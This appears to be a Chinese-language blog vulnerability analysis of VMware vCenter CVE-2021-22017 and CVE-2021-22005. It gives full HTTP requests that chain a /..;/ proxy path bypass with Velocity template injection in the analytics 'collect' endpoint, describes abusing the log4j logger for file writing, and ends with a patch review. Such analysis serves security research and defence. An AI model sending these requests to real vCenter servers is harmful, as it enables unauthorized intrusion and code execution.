CVE-2021-22017+22005模板注入分析
1z520520 漏洞分析 8510浏览 · 2021-12-07 13:56

Author: lz520520@深蓝攻防实验室

CVE-2021-22017+22005模板注入分析

之前分析了22005,在ceip开启情况下通过log4j写文件的利用,其实除了该漏洞点,22005还有一个collect接口的利用,通过Velocity模板注入来执行代码,但该接口可能无法访问,所以需要结合22017的rhttpproxy 绕过漏洞。
这个低版本没有 vCenter Appliance 6.7d (6.7.0.14000)
可以更新到vCenter Appliance 6.7 Update 3k (6.7.0.45100)

漏洞分析

com.vmware.ph.phservice.cloud.dataapp.server.DataAppAgentController

collect接口请求格式

对比补丁发现发现/analytics/ph/api/dataapp/agent?action=collect接口被删除了,所以该接口很可能就是漏洞点,进一步跟进分析。

这个接口有些老版本是可以直接访问的,但2021年的版本做了控制,导致不是所有版本都能访问。
所以需要绕过访问,在这次更新的补丁里有一个rhttpproxy绕过,通过/..;/可绕过,如下URL

/analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent


17958471以上接口访问有问题,其他待测试。
根据接口参数要求,必须的参数是_c_i、头部字段X-Deployment-Secret、以及body,body使用@RequestBody注解就表示是一个json数据,也就是Content-Type: application/json
这里body参数collectRequestSpecJson会通过DataAppAgentRequestDeserializer.deserializeCollectRequestSpec方法进行反序列化转换成CollectRequestSpec对象,里面调用jackson做的反序列化。

看下这个json数据需要哪几个参数,如下所示,有三个参数,格式可得

{"manifestContent": "a1", "contextData": "a2", "objectId": "a3"}



构造数据包发送测试

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB  HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: test
Content-Length: 64
{"manifestContent": "a1", "contextData": "a2", "objectId": "a3"}


测试返回404以及错误信息,报错信息就是这部分抛出,调试下

测试发现getAgent报错,agentId是通过四个参数生成,这四个参数相同才是同一个agentId。

collectorId, collectorInstanceId, deploymentSecret, pluginType


观察this._dataAppAgentService实际是DefaultDataAppAgentManager,在这个类看到除了getAgent,还有createAgent,这里先不细究agent创建和获取的过程,但目前看起来,要调用getAgent,需要先createAgent存储一个agent。

agent创建和获取逻辑

emmm,回头看不细究不行了,getAgent要不报错,需要以下两处都不为null

this._agentRepository.get
this.getActiveAgent


首先

this._agentRepository.get

如下会读取一个文件,如果存在就返回。
/etc/vmware-analytics/agents/vSphere.vapi.6_7.properties

文件名通过getFileName方法生成,通过collectorId和pluginType组成,后缀是固定为.properties,那么可想而知createAgent里肯定有一个创建文件的地方。

先看看createAgent,使用同样的this._agentRepository.get获取,文件名有就抛出异常,如果没获取到就add添加

那么添加其实就是一样的格式去创建这个文件。

文件内容

回过头再看看this.getActiveAgent,是通过agentId的equals方法来判断

和之前判断是一样的,需要四个参数相等才一样。

整理下agentId对象获取的逻辑

  1. 判断配置文件是否存在/etc/vmware-analytics/agents/[agentId.getCollectorId() + pluginType + ".properties"]
  2. 存在后判断List _activeAgents 里是否有agentId,根据他的四个属性相同判断

所以在测试时,如果要根据新的agentId来测试,那么createAgent时,CollectorId或pluginType要不同,否则无法创建一个新的agentId,如果这两个参数不变,仅修改其他两个参数,是创建不成功的,就会导致获取失败。

createAgent请求格式

那么就找下是否有调用createAgent的位置,如下,然后构造一个请求包,这个接口和上面不同之处没有action参数

大概格式是,body部分是createSpecJson,会反序列化成DataAppAgentCreateSpec对象,该对象也是createAgent的一个参数。

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Content-Type: application/json
X-Deployment-Secret: test
Content-Length: 250
{}

这个对象里是有如下属性,emmm,但需不需要这些参数,还是提交一个空的json就行,还不知道,先传入测试。

{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}


最终请求包

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: test
Content-Length: 354
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}

通过修改X-Plugin-Type即可创建新的agentId


创建后就可正常获取了,继续跟进。

velocity执行流程

createAgent后,再调用collect接口解析manifest,如下是一个manifestContent测试内容,mappingCode内容对应的Velocity模板,所以最终是一个Velocity模板注入。

<manifest recommendedPageSize="500">
   <request>
      <query name="vir:VCenter">
         <constraint>
            <targetType>ServiceInstance</targetType>
         </constraint>
         <propertySpec>
            <propertyNames>content.about.instanceUuid</propertyNames>
            <propertyNames>content.about.osType</propertyNames>
            <propertyNames>content.about.build</propertyNames>
            <propertyNames>content.about.version</propertyNames>
         </propertySpec>
      </query>
   </request>
   <cdfMapping>
      <indepedentResultsMapping>
         <resultSetMappings>
            <entry>
               <key>vir:VCenter</key>
               <value>
                  <value xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="resultSetMapping">
                     <resourceItemToJsonLdMapping>
                        <forType>ServiceInstance</forType>
                     <mappingCode><![CDATA[

                        #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
                        #set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
                        #set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
                        $obj.addProperty("OSTYPE", "VMware can't steal this PoC")##
                        $obj.addProperty("BUILD", $content-about-build)##
                        $obj.addProperty("VERSION", $content-about-version)##]]>
                     </mappingCode>
                     </resourceItemToJsonLdMapping>
                  </value>
               </value>
            </entry>
         </resultSetMappings>
      </indepedentResultsMapping>
   </cdfMapping>
   <requestSchedules>
      <schedule interval="1h">
         <queries>
            <query>vir:VCenter</query>
         </queries>
      </schedule>
   </requestSchedules>
</manifest>

com.vmware.ph.phservice.collector.internal.cdf.mapping.ResourceItemToJsonLdMapping#map
跟中到如下位置,解析manifest获取mappingCode,调用VelocityHelper.executeVelocityExpression执行velocity表达式

堆栈太长,完整的如下

executeVelocityExpression:184, VelocityHelper (com.vmware.ph.phservice.collector.internal.cdf.mapping.velocity)
map:92, ResourceItemToJsonLdMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:30, ResourceItemToJsonLdMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:24, SafeMappingWrapper (com.vmware.ph.phservice.collector.internal.cdf.mapping)
applyItemMappings:85, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:62, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:26, ResultSetToCdfPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:36, IndependentResultsMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:17, IndependentResultsMapping (com.vmware.ph.phservice.collector.internal.cdf.mapping)
map:109, QueryServiceCdfCollector$NamedQueryResultSetToCollectedPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf)
map:87, QueryServiceCdfCollector$NamedQueryResultSetToCollectedPayloadMapping (com.vmware.ph.phservice.collector.internal.cdf)
apply:124, QueryServiceCollector$ResultIteratorFactory$2 (com.vmware.ph.phservice.collector.internal.data)
apply:121, QueryServiceCollector$ResultIteratorFactory$2 (com.vmware.ph.phservice.collector.internal.data)
transform:799, Iterators$8 (com.google.common.collect)
next:48, TransformedIterator (com.google.common.collect)
next:48, TransformedIterator (com.google.common.collect)
next:558, Iterators$5 (com.google.common.collect)
next:558, Iterators$5 (com.google.common.collect)
processStructuredDataCollectors:261, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collectAndUpload:172, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collect:127, UsageDataCollector (com.vmware.ph.phservice.collector.internal.core)
collectAndSend:160, SpecsCollector (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:91, SpecsCollector (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:40, ConnectionClosingCollectorWrapper (com.vmware.ph.phservice.collector.internal.core)
collect:337, DefaultCollectorDataAppAgent (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
access$201:22, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:89, PermitControlledCollectorDataAppAgentWrapper$3 (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:87, PermitControlledCollectorDataAppAgentWrapper$3 (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
executeWithPermit:112, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:86, PermitControlledCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
collect:55, BaseCollectorDataAppAgentWrapper (com.vmware.ph.phservice.cloud.dataapp.internal.collector)
call:213, DataAppAgentController$3 (com.vmware.ph.phservice.cloud.dataapp.server)
call:204, DataAppAgentController$3 (com.vmware.ph.phservice.cloud.dataapp.server)
run:332, WebAsyncManager$5 (org.springframework.web.context.request.async)
call:511, Executors$RunnableAdapter (java.util.concurrent)
run:266, FutureTask (java.util.concurrent)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)

新的 Velocity 版本有一些黑名单来阻止对“java.lang.Class”类方法的调用,就看上下文是否有一些变量存在操作空间。

velocity poc分析

所以看是否可以通过velocity执行命令或上传文件

#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##
#set($objectId = "vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid")##
#set($obj = $LOCAL-cdf20Result.newObject("vim.ServiceInstance", $objectId))##
$obj.addProperty("OSTYPE", "VMware can't steal this PoC")##
$obj.addProperty("BUILD", $content-about-build)##
$obj.addProperty("VERSION", $content-about-version)##

上面是公开的poc,只会回显一些系统属性,$LOCAL-resourceItem$content-about-build$content-about-version都是context里已有的变量。
这里通过调试获取context里的属性做测试,测试代码如下

Field contextF = Class.forName("org.apache.velocity.VelocityContext").getDeclaredField("context");
contextF.setAccessible(true);
HashMap m = (HashMap) contextF.get(this.velocityInvocationContext.velocityContext);
NamedPropertiesResourceItem namedPropertiesResourceItem = (NamedPropertiesResourceItem) m.get("LOCAL-resourceItem");
namedPropertiesResourceItem.getResourceItem().getKey();

$LOCAL-resourceItem.resourceItem.getKey(),这里使用了两种方式获取对象属性,getKey()就是对象自带的方法,而如果是resourceItem,就会自动调用getResourceItem()来获取属性,毕竟_resourceItem是私有属性,没法直接获取。

从第二行的$modelKey.value:$modelKey.serverGuid也能看出

所以改成这样也是可以执行的



$LOCAL-cdf20Result变量可获取VelocityJsonLd,该类最终会转换成返回的json数据。

VelocityHelper.executeVelocityExpression("#set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())##\n" +
                "#set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")##\n" +
                "#set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))##\n" +
                "$obj.addProperty(\"OSTYPE\", \"VMware can't steal this PoC\")##\n" +
                "$obj.addProperty(\"BUILD\", $content-about-build)##\n" +
                "$obj.addProperty(\"VERSION\", $content-about-version)##", this.velocityInvocationContext.velocityEngine, this.velocityInvocationContext.velocityContext, logTag);
this.velocityInvocationContext.velocityJsonLd.object;

转换成json返回

velocity GLOBAL-logger利用构造

既然已经清楚了poc是怎么构造的,那么如何getshell,自然是从context里已有的变量里下手,其中注意到有个GLOBAL-logger,是log4j的实例,之前分析的漏洞点就是通过log4j写文件的。

我们调试下看看效果,先尝试获取该变量。

log4j的配置文件路径/etc/vmware-analytics/log4j.properties,log4j日志路径在配置文件里写死了。

然后查一下log4j运行时怎么修改日志路径。
https://www.cnblogs.com/xiaohu-v587/p/8463814.html
当然这个代码是log4j里的,和common-logging包里的还有些差别,但问题不大,可参考这个编写velocity代码。

成功写入

另外简单看了上下文其他几个变量,也没有利用点,如果有大佬发现可一起讨论。

漏洞验证

返回201,createAgent接口存在,并且创建agent成功,每次请求需要修改X-Plugin-Type

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: MoWtrXYtWo
Accept-Encoding: gzip, deflate
Connection: close
{}

返回200,collectAgent接口存在,每次请求需要修改X-Plugin-Type

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: MoWtrXYtWo
Accept-Encoding: gzip, deflate
Connection: close
{}

漏洞利用

createAgent
每次请求修改X-Plugin-Type

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: test
Content-Length: 354
{"manifestSpec": {"resourceId": "b1", "dataType": "b2", "objectId": "b3", "versionDataType": "b4", "versionObjectId": "b5"}, "objectType": "a1", "collectionTriggerDataNeeded": true, "deploymentDataNeeded": true, "resultNeeded": true, "signalCollectionCompleted": true, "localManifestPath": "a2", "localPayloadPath": "a3", "localObfuscationMapPath": "a4"}


collectAgent
获取信息

POST /analytics/ceip/sdk/..;/..;/..;/analytics/ph/api/dataapp/agent?action=collect&_c=vSphere.vapi.6_7&_i=9D36C850-1612-4EC4-B8DD-50BA239A25BB HTTP/1.1
Host: 192.168.111.11
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 2065
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: application/json
X-Deployment-Secret: secret
X-Plugin-Type: BafwKlMbWp
Accept-Encoding: gzip, deflate
Connection: close
{"manifestContent": "<manifest recommendedPageSize=\"500\">\n   <request>\n      <query name=\"vir:VCenter\">\n         <constraint>\n            <targetType>ServiceInstance</targetType>\n         </constraint>\n         <propertySpec>\n            <propertyNames>content.about.instanceUuid</propertyNames>\n            <propertyNames>content.about.osType</propertyNames>\n            <propertyNames>content.about.build</propertyNames>\n            <propertyNames>content.about.version</propertyNames>\n         </propertySpec>\n      </query>\n   </request>\n   <cdfMapping>\n      <indepedentResultsMapping>\n         <resultSetMappings>\n            <entry>\n               <key>vir:VCenter</key>\n               <value>\n                  <value xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:type=\"resultSetMapping\">\n                     <resourceItemToJsonLdMapping>\n                        <forType>ServiceInstance</forType>\n                     <mappingCode><![CDATA[\n                        #set($modelKey = $LOCAL-resourceItem.resourceItem.getKey())\n                        #set($objectId = \"vim.ServiceInstance:$modelKey.value:$modelKey.serverGuid\")\n                        #set($obj = $LOCAL-cdf20Result.newObject(\"vim.ServiceInstance\", $objectId))\n                        $obj.addProperty(\"MSG\", \"exist\")\n                        $obj.addProperty(\"OSTYPE\", $content-about-osType)\n                        $obj.addProperty(\"BUILD\", $content-about-build)\n                        $obj.addProperty(\"VERSION\", $content-about-version)]]>\n                     </mappingCode>\n                     </resourceItemToJsonLdMapping>\n                  </value>\n               </value>\n            </entry>\n         </resultSetMappings>\n      </indepedentResultsMapping>\n   </cdfMapping>\n   <requestSchedules>\n      <schedule interval=\"1h\">\n         <queries>\n            <query>vir:VCenter</query>\n         </queries>\n      </schedule>\n   </requestSchedules>\n</manifest>", "contextData": "a2", "objectId": "a3"}


最后编写利用,效果如下

补丁分析

DataAppAgentController的每个方法里其实都会调用DataAppAgentId,之前的补丁分析这个类有做一个id过滤,而这里其实没做其他改动,只是多一个IncorrectFormat异常捕捉。所以之前的DataAppAgentId补丁和processTelemetry是没有关系的。
而存在漏洞的collect接口被直接删除掉了。

0 条评论
某人
表情
可输入 255